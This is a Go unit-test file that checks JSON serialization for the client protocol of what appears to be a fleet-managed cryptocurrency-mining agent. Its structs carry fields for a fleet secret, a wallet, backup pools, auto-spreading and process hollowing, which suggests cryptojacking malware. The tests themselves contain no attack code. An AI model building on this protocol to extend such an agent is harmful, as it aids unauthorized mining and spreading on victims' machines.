package client

import (
	"encoding/json"
	"testing"
)

func roundTrip(t *testing.T, v any, dst any) {
	t.Helper()
	b, err := json.Marshal(v)
	if err != nil {
		t.Fatalf("marshal: %v", err)
	}
	if err := json.Unmarshal(b, dst); err != nil {
		t.Fatalf("unmarshal: %v\njson: %s", err, string(b))
	}
}

func TestMessageJSONRoundTrip(t *testing.T) {
	msg := Message{Type: "auth", Payload: json.RawMessage(`{"agent_id":"a1"}`)}
	var out Message
	roundTrip(t, msg, &out)
	if out.Type != "auth" || string(out.Payload) != `{"agent_id":"a1"}` {
		t.Fatalf("unexpected: %+v", out)
	}
}

func TestAuthPayloadJSONRoundTrip(t *testing.T) {
	in := AuthPayload{
		AgentID: "a1", FleetSecret: "secret", Wallet: "48x",
		BackupPools: []BackupPoolEntry{{Host: "b.pool", Port: 4444, TLS: true, Pass: "x"}},
		Version: "1.0", Hostname: "host", CPUCores: 4, MemoryGB: 8,
		Worker: "w", PoolHost: "pool", PoolPort: 3333, PoolTLS: false, PoolPass: "x",
		AIEnabled: true, AIOllamaEndpoint: "http://localhost:11434", AIModel: "llama",
		HolePunch: true, RemoteAggressive: false, MeshP2P: false,
		AutoSpread: false, ProcessHollowing: false,
		Platform: "windows", Arch: "amd64", OSVersion: "10",
	}
	var out AuthPayload
	roundTrip(t, in, &out)
	if out.AgentID != in.AgentID || len(out.BackupPools) != 1 {
		t.Fatalf("unexpected: %+v", out)
	}
}

func TestAuthResponseJSONRoundTrip(t *testing.T) {
	in := AuthResponse{Success: true, AgentID: "a1", Error: ""}
	var out AuthResponse
	roundTrip(t, in, &out)
	if !out.Success || out.AgentID != "a1" {
		t.Fatalf("unexpected: %+v", out)
	}
}

func TestJobJSONRoundTrip(t *testing.T) {
	in := Job{ID: "j1", Height: 100, BlockTemplate: "tpl", Difficulty: 500,
		SeedHash: "seed", Target: "tgt", Blob: "blob", Algo: "rx/0"}
	var out Job
	roundTrip(t, in, &out)
	if out.ID != "j1" || out.Blob != "blob" {
		t.Fatalf("unexpected: %+v", out)
	}
}

func TestSharePayloadJSONRoundTrip(t *testing.T) {
	in := SharePayload{JobID: "j", Nonce: "n", Hash: "h", Worker: "w"}
	var out SharePayload
	roundTrip(t, in, &out)
	if out.JobID != "j" {
		t.Fatalf("unexpected: %+v", out)
	}
}

func TestStatsPayloadJSONRoundTrip(t *testing.T) {
	cpuTemp := 70
	in := StatsPayload{
		Hashrate15s: 100, Hashrate1m: 99, Hashrate15m: 98,
		SharesSubmitted: 10, SharesAccepted: 9,
		CPUUsagePct: 50, MemoryUsagePct: 40, UptimeSeconds: 3600,
		CPUTempC: &cpuTemp,
		Services: []ServiceStatus{{Name: "svc", Status: "running", StartType: "auto"}},
	}
	var out StatsPayload
	roundTrip(t, in, &out)
	if out.CPUTempC == nil || *out.CPUTempC != 70 {
		t.Fatalf("unexpected: %+v", out)
	}
}

func TestShareResultJSONRoundTrip(t *testing.T) {
	in := ShareResult{JobID: "j", Accepted: false, Error: "low diff"}
	var out ShareResult
	roundTrip(t, in, &out)
	if out.Error != "low diff" {
		t.Fatalf("unexpected: %+v", out)
	}
}

func TestBackupPoolEntryJSONRoundTrip(t *testing.T) {
	in := BackupPoolEntry{Host: "h", Port: 3333, TLS: true, Pass: "x"}
	var out BackupPoolEntry
	roundTrip(t, in, &out)
	if out.Host != "h" || !out.TLS {
		t.Fatalf("unexpected: %+v", out)
	}
}

func TestServiceStatusJSONRoundTrip(t *testing.T) {
	in := ServiceStatus{Name: "ssh", DisplayName: "OpenSSH", Status: "running", StartType: "manual"}
	var out ServiceStatus
	roundTrip(t, in, &out)
	if out.Name != "ssh" {
		t.Fatalf("unexpected: %+v", out)
	}
}

func TestJobPayloadErrorEdgeCases(t *testing.T) {
	if jobPayloadHasError(json.RawMessage(`invalid`)) {
		t.Fatal("invalid json should not be treated as error field")
	}
	if jobPayloadHasError(json.RawMessage(`{"error":""}`)) {
		t.Fatal("empty error string should not trigger")
	}
	msg, ok := jobPayloadErrorMessage(json.RawMessage(`{"error":"  fail  "}`))
	if !ok || msg != "  fail  " {
		t.Fatalf("got %q ok=%v", msg, ok)
	}
}
